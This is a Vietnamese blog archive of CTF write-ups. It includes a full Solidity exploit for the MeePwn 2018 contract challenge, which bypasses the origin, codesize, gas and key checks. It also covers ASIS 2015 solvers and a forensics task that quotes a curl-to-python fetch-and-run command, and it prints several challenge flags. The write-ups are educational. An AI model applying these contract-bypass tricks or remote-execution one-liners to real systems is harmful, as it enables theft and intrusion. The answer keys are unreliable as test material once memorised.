Category Archives: misc

MEEPWN CTF 2018 - meepwn contract

https://scoreboard.meepwn.team/task

Source code của "gate":

pragma solidity ^0.4.18;

contract Meepwn_Wire
{
    address public entrant;
    
    constructor()
    {
        entrant = msg.sender;
    }
    
    function isAccountAddress(address addr) private returns(bool)
    {
        uint x;
        assembly { x := extcodesize(caller) }
        return x == 0;
    }
    
    function exploitMe(bytes8 _key)
    {
        require(msg.sender != tx.origin);
        require(isAccountAddress(msg.sender));
        require(msg.gas % 1337 == 0);
        require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337);
        
        entrant = tx.origin;
    }
}

Interface của contract chính:

pragma solidity ^0.4.18;

contract MeePwnMain {

  function getNewInstance() public payable returns(address) {}
  function submitInstance(string email) public returns(bytes32) {}
}

sau khi truy cập đến http://178.128.87.12/smart-contract những việc bạn cần làm như sau (hiện site đã không truy cập được nữa, mình xin phép tóm tắt lại theo...kí ức của mình 😄)

  • Sẽ có một contract chính tại địa chỉ 0x3da169ad88c8f419b57e181fe971b33993dfdc81 được deploy trên Testnet Ropsten
  • Bạn sẽ gọi hàm getNewInstance chuyển 0.1 ETH vào địa chỉ này, contract chính sẽ deploy contract Meepwn_Wire ở trên và gán entrant = msg.sender tức là địa chỉ của contract chính.
  • Nhiệm vụ của bạn làm thế nào đó, dùng hàm exploitMe, vượt qua tất cả các "gate", set lại biến entrant thành địa chỉ của mình (pwned !)
  • Sau đó gọi hàm submitInstance kèm với email của mình để chứng minh mình đã làm được, để hệ thống gửi flag về email mà bạn submit.

Về cơ bản, mô hình này khá giống với Ethernaut cụ thể hơn thì bạn có thể tham khảo thêm các bài write-up của anh @kiendinang trên Viblo, với nhiều cấp độ từ dễ đến khó.

Walk Through

Mình xin tóm tắt các bước để vượt qua các gate như sau:

Gate 1

require(msg.sender != tx.origin); : Trong Solidity thì msg.sender là thứ/người trực tiếp gọi hàm của contract, còn tx.origin là người tạo ra transaction. Do vậy tx.origin sẽ luôn là người dùng, còn msg.sender thì có thể là người dùng hoặc là một contract khác. Do vậy ta có mô hình sau:

A (người dùng) -> B (exploit contract) -> C (Meepwn_Wire contract)

Với mô hình này sẽ đảm bảo được msg.sender != tx.origin

Gate 2

require(isAccountAddress(msg.sender)); : Gate này đúng như tên hàm, kiểm tra xem địa chỉ đang tương tác với contract, có phải là người dùng không hay là một contract khác ? và Meepwn_Wire yêu cầu msg.sender phải là một account người dùng thông qua việc kiểm tra storage của account có chứa code hay không bằng đoạn assembly (nếu địa chỉ là người dùng thì sẽ codesize == 0, và ngược lại nếu đó là một contract khác)

assembly { x := extcodesize(caller) }

Nếu vậy, trick chúng ta dùng ở bước 1 sẽ fail ? Tuy nhiên, có một thời điểm mà codesize của một contract bằng 0, đó chính là thời điểm mà contract được deploy (nói cách khác, khi đang chạy contructor của contract), như được note trong yellow paper của Ethereum. Vậy để pass qua gate này, ta cần thực hiện exploit trong contructor của contract. Đến đây ta có thể xây dựng được contract tạm thời dùng để exploit như sau:

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe(????);
    }
}

với target là địa chỉ của contract Meepwn_Wire mà contract chính đã deploy. Để biết được địa chỉ này, bạn có thể tìm đến transaction getNewInstance trên https://ropsten.etherscan.io/ và kiểm tra tab Internal Transactions.

Gate 3

require(msg.gas % 1337 == 0); : Gate này yêu cầu số gas còn lại (msg.gas) tại thời điểm thực hiện kiểm tra phải chia hết cho 1337. Để thực hiện điều này, ta có thể gọi hàm exploitMe theo cách sau:

t.exploitMe.gas(xxx)(????)

với xxx là số gas dùng để chạy hàm exploitMe. Như vậy chúng ta sẽ control được số gas truyền vào. Vậy truyền vào bao nhiêu gas để thoả mãn ? Mình sẽ làm theo cách thử saim truyền vào 1 số gas tuỳ ý, và kiểm tra instruction trên Remix.

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(98000)(0x41414141);
    }
}

Ví dụ chạy với gas 98000, chắc chắn transaction sẽ fail, bằng sử dụng môi trường Javascript VM trên Remix sẽ cho phép chúng ta debug:

Click Debug, mở phần Instructions và Stack và step qua từng instruction cho đến đoạn kiểm tra số gas:

IP hiện đang ở 363, ngay sau khi chúng ta chạy xong GAS, top stack lúc này sẽ chính là số gas còn lại: 0x17abc = 96956 (tại ngăn tiếp theo chính là giá trị 0x539 = 1337). Vậy ta sẽ có gas thoả mãn là:

98000 - 96956 % 1337 = 97308

Note: Để đảm bảo debug đúng thì version compiler và thiết lập optimize của bạn và đề bài phải giống nhau, rất may, đều đang là version soljson-v0.4.24+commit.e67f0147.js 😄, cơ mà nếu có sai thì cũng sai khác nhau không quá 100 gas, chúng ta có thể brute-force được 😆

Gate 4

require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337); : gate này là khá đơn giản (tuy nhiên trong thời gian thi BTC đã không may đeploy nhầm source code đoạn này khiến các đội thi tốn cỡ "1 tiếng" tìm cách brute-force 8 bytes sha3 (nếu thực sự có team định làm vậy 😅)), đây là phép XOR và chúng ta làm lại như sau:

_key = bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337)

this ở đây sẽ cho ra địa chỉ contract exploit của chúng ta.

Full Exploit

(Test thử trên Remix trước cho chắc ăn rồi hãy submit nhé)

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(97308)(bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337));
    }
}

Việc còn lại là thực hiện submitInstance và chờ mail flag về:

References

ASIS Quals CTF 2015 - grids, keka-bomb, dump Writeup

Programming 300 - grids

Đề bài nhận được là cho 1 tập hợp điểm trên mặt phẳng 2D, cần tìm diện tích đa giác lớn nhất tạo được mà các đỉnh của đa giác được lấy từ tập hợp điểm đã cho. Dễ thấy là đa giác cần tìm cần bao trọn toàn bộ tập điểm, nên bài toán quy về việc tính diện tích bao lồi của tập điểm này.

Có thể dùng thuật toán quét Graham để tìm bao lồi sau đó dùng công thức tính diện tích của Gauss để tính diện tích đa giác vừa tìm được. Nhưng trong SciPy đã có code tìm bao lồi nên mình không cần phải code lại phần bao lồi nữa :))

Code của mình (mình k biết chèn gist vào đây như thế nào :<):

from scipy.spatial import ConvexHull
import numpy as np
import ast
import telnetlib
import re
 
class Telnet(telnetlib.Telnet):
    # inherit from Telnetlib and add new method
    def __init__(self,host,port):
        telnetlib.Telnet.__init__(self,host,port)
    # make easier when you want to send raw data to server
    def writeRawData(self,data):
        return self.get_socket().send(data)
 
    def recvRawData(self,size):
        return self.get_socket().recv(size)
 
# Calculate algebraic area of a polygon using shoelace formula
def area(vertices):
    n = len(vertices)
    area = 0.0
    for i in range(n):
        j = (i + 1) % n
        area += vertices[i][0] * vertices[j][1]
        area -= vertices[j][0] * vertices[i][1]
    area /= 2.0
    return area
 
host = '217.218.48.84'
port = 12432
 
# connect
tel = Telnet(host, port)
s = tel.read_until('Are you ready for this challenge?\n')
print s,
# reply
print 'yes'
tel.writeRawData('yes\n')
s = tel.read_until('OK, OK, lets start\n')
print s,
# solve
for i in range(99):
    print '[*] %d-th round' % i
    s = tel.read_until("What's the area?")
    print s,
    l = np.array(ast.literal_eval(re.findall(r'\n(

.*

)\n', s)[0])) hull = ConvexHull(l) vertices = l[hull.vertices] res = abs(area(vertices)) print res tel.writeRawData(str(res)+'\n') # get flag tel.interact()

Flag là

ASIS{f3a8369f4194c5e44c03e5fcefb8ddf6}

Forensics 75 - Keka Bomb

File đã cho là một file 7z và bên trong nó gồm nhiều file 7z con với dung lượng mỗi file khoảng 4GB : 0009.7z -> 0000007.7z -> 0000000008.7z -> bomb_8, mở file này bằng HxD, tìm chuỗi "ASIS" sẽ thấy flag:

ASIS{f974da3203d155826974f4a66735a20b}

Forensics 250 - Dump
File trong đề là 1 file .sav của VirtualBox nhận được khi tạo snapshot hoặc suspend máy ảo. File chỉ chứa một phần RAM đã được sử dụng và được sắp xếp theo một trật tự không nhất định nên (theo quá trình Google của mình) không thể lấy trực tiếp thông tin trên đây được :<, mà cần phải chạy file .sav trên VirtualBox rồi tạo core dump hoặc memdump sau đấy mới phân tích được.

Mình đã tạo một máy ảo VirtualBox với hệ điều hành là Ubuntu x64, để ổ cứng kết nối ở IDE Primary Master, card mạng là Am79C973, RAM là 128MB. Sau đó mình boot máy ảo này, suspend nó, rồi ghi đè file đã cho vào file .sav được VirtualBox tạo ra. Sau đó khi khởi động lại, mình vào được trạng thái đang lưu trong file .sav với hệ điều hành là Tiny Core Linux:

asis_dump

Ở trong lịch sử dòng lệnh, có một lệnh là

python -c "$(curl -fSsL http://a.asis.io/0QnqZU9F)"

Lệnh này down 1 file .py từ server và thực hiện file này. Mình đã không quan tâm đến nó trong khi đây chính là mấu chốt của bài toán :< (cảm ơn anh @yeuchimse đã chỉ cho em đoạn này :3).

Như vậy có khả năng file Python kia vẫn còn được lưu đâu đó ở trong RAM của máy ảo, vì vậy cần phải đọc được RAM và tìm kiếm đoạn 'Please enter the access key' vì khi chương trình được chạy có in ra dòng này. Trong quá trình thi, mình đã chạy VirtualBox trong một máy ảo VMware và dump RAM của máy ảo VMware để tìm trong đó :<. Tuy vậy có một cách đơn giản hơn là dùng HxD hoặc Cheat Engine. Sau khi tìm kiếm với chuỗi:

'Please enter the access key

, ta tìm được đoạn code:

memview

Đoạn code này yêu cầu nhập 1 chuỗi là key, và nếu key đúng sẽ in ra thứ gì đó. Thử xây dựng lại key từ file code tìm được, sau đó dùng key này để tìm chuỗi in ra:

import hashlib
 
# calculate key
key_ar = [0 for i in range(5)]
key_ar[0] = hex(58559604012647)[2:].decode('hex')
key_ar[1] = hex(27697077611219024)[2:].decode('hex')
key_ar[2] = hex(28839576914310229)[2:].decode('hex')
key_ar[3] = hex(14469853439423811)[2:].decode('hex')
key_ar[4] = hex(21189029315236706)[2:].decode('hex')
key = '-'.join(key_ar)
 
# original code
# key = raw_input('Please enter the access key: ').strip()
if len(key) == 38:
    key_ar = key.split('-')
    if len(key_ar) == 5:
        if int(key_ar[0].encode('hex'), 16) ==  58559604012647:
            if int(key_ar[1].encode('hex'), 16) == 27697077611219024:
                if int(key_ar[2].encode('hex'), 16) == 28839576914310229:
                    if int(key_ar[3].encode('hex'), 16) == 14469853439423811:
                        if int(key_ar[4].encode('hex'), 16) == 21189029315236706:
                            print key[18] + key[-2] + chr(ord(key[26]) - 1) + key[-2] + '{' + hashlib.md5(key).hexdigest() + '}'
                        else:
                             print 'You access key is not correct! Banned!!'
                    else:
                        print 'You access key is not correct! Banned!!'
                else:
                    print 'You access key is not correct! Banned!!'
            else:
                print 'You access key is not correct! Banned!!'
        else:
            print 'You access key is not correct! Banned!!'
    else:
        print 'You access key is not correct! Banned!!'
else:
    print 'You access key is not correct! Banned!!'

Sau khi chạy file trên, ta được flag:

ASIS{632253c69a6049594bc303f0af0042b8}